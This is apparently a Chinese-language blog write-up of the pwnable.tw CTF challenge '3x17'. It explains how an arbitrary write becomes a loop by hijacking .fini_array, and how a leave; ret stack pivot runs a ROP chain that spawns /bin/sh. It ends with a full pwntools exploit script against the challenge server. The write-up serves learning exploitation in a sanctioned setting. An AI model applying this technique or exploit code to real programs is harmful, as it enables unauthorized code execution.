Skip to main content

从 pwnable.tw——3x17 学习 .fini_array

·1289 words·3 mins·
CTF PWN ROP .fini_array
Table of Contents

尽管 pwnable.tw已经很久没更新新题,这上面的题目放到现在对我而言也仍然是很有趣的。在解 3x17 这道题的时候,用到了之前从没用过的 fini_array hijack,因此记录一下。

预分析
#

checksec 结果:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

file 结果:

3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
  • PIE 未启用:不用泄露程序基地址
  • canary 未启用:如果有栈溢出可以直接利用
  • 静态链接:没有 libc

程序功能分析
#

  if ( byte_4B9330 == 1 )
  {
    write_func(1u, "addr:", 5uLL);
    read_func(0, buf, 0x18uLL);
    v4 = (char *)(int)bytes_to_addr(buf);
    write_func(1u, "data:", 5uLL);
    read_func(0, v4, 0x18uLL);
    result = 0;
  }

程序很直接地提供了一次任意地址写的机会,又称 Write What Where (WWW) 。不过我们没有栈空间地址泄露,因此暂时无法直接利用栈来直接控制代码流。

GOT 表劫持?没有 system 函数。但是 Partial RELRO 可不仅仅意味着可以利用 GOT 表劫持,也意味着可以使用 fini_array 劫持

.fini_array
#

.fini_array 是什么?简单来说,它是一个函数指针数组,一旦程序退出就会运行其中的函数,不过是按倒序方式,例如先运行 .fini_array[1] 再运行 .fini_array[0] 。只要我们能覆写该数组中的函数指针,我们就能劫持代码流。

无限循环
#

很多时候题目(例如这题)中的漏洞指利用一次是不够我们 capture the flag 的,因此我们需要达到漏洞的重复利用。以这题为例,我们可以构造:.fini_array[0] == __libc_csu_fini &&.fini_array[1] == main

  1. 当程序退出时,先执行 main 函数,任意写包含于其中(尽管会检查0x4B9330地址处是否为1,但其类型为 byte/uint8,因此1+16 == 1,我们不必担心)。
  2. 然后执行 __libc_csu_fini 函数。该函数的作用就是调用所有 .fini_array 中的函数,于是回到步骤1。因此形成了无限循环。

如何定位.fini_array__libc_csu_fini 的地址?
#

readelf -S ./3x17 | grep .fini_array

-S 可以显示各个段的 header 。

start 函数中找到:

  sub_401EB0(
    (unsigned int)main,
    v4,
    (unsigned int)&retaddr,
    (unsigned int)sub_4028D0,
    (unsigned int)sub_402960,
    a3,
    (__int64)&v5);
  __halt();
# in the `start`, there is a `_libc_start_main`
# the `_libc_start_main`'s 4th and 5th arg is `_libc_csu_init`, `_libc_csu_fini`

根据经验sub_401EB0__libc_start_main,而__libc_start_main 的第 4 和第 5 个参数分别是 __libc_csu_init__libc_csu_fini

ROP
#

我们现在拥有了无限次任意地址写的机会,也知道如何利用 .fini_array 来劫持代码流,接下来做什么?

首先,静态链接的 ELF 最不缺的就是 gadgets。我们很容易找到 pop 各种寄存器以及 syscall 的 gadgets。很容易构造 ROP chain 。那么离 get shell 就只差——栈。

我们需要将 ROP chain 放到栈上去。__libc_csu_fini 函数为我们创造了条件:

push    rbp
lea     rax, unk_4B4100
lea     rbp, off_4B40F0
push    rbx
...

以上是 __libc_csu_fini 函数的开头,其中lea rbp, off_4B40F0中的0x4B40F0就是 .fini_array 的起始地址。换言之,在运行完 __libc_csu_fini 函数后,rbp 的值为 .fini_array 的起始地址。接下来只要利用 leave ; ret 就可以让返回地址为 fini_array + 0x8。因为 leave == mov rsp, rbp ; pop rbp

  1. mov rsp, rbp : rsp = rbp = .fini_array
  2. pop rbp : rbp = .fini_array[0], rsp = .fini_array + 0x8
  3. ret : rip = rsp = .fini_array + 0x8

因此只要令.fini_array[0] 处为leave ; ret gadget 的地址,且从.fini_array + 0x8 开始为 ROP chain 即可 get shell 。

exploit
#

由于只是一道 150 分的题,根据 pwnable.tw 的规则可以公开代码用于参考:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./3x17")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("chall.pwnable.tw", 10105)

    return r

def www(r,addr,data):
    r.sendafter(b"addr:",str(addr).encode())
    r.sendafter(b"data:",data)


def main():
    args.LOCAL = False
    r = conn()
    # `readelf -S ./3x17` to find the addr of .fini_array
    # in the `start`, there is a `__libc_start_main`
    # the `__libc_start_main`'s 4th and 5th arg is `__libc_csu_init`, `__libc_csu_fini`

    fini_array = 0x4b40f0
    libc_csu_fini = 0x402960
    main = 0x401b6d
    leave_ret_addr = 0x401c4b
    pop_rdi = 0x401696
    pop_rsi = 0x406c30
    pop_rdx = 0x446e35
    pop_rax = 0x41e4af
    syscall = 0x4022b4

    # stage1: eternal loop
    www(r,fini_array,flat(libc_csu_fini,main))

    # stage2: rop chain
    www(r, fini_array + 0x10, flat(fini_array+0x50, pop_rsi, 0))
    www(r, fini_array + 0x28, flat(pop_rdx, 0, pop_rax))
    www(r, fini_array + 0x40, flat(0x3b, syscall) + b'/bin/sh\x00')
    www(r, fini_array, flat(leave_ret_addr, pop_rdi))

    r.interactive()

if __name__ == "__main__":
    main()
BeaCox
Author
BeaCox
Stay humble, remain critical.

Related

第十七届全国大学生信息安全竞赛创新实践能力赛初赛 Writeup
·3264 words·7 mins
CTF PWN Crypto Misc Reverse
TBTL CTF 2024 WriteUp
·1874 words·4 mins
CTF PWN Crypto Misc Reverse
SJTU CTF 2024 暨 GEEKCTF 2024 WriteUp
·9382 words·19 mins
CTF PWN Web Misc Reverse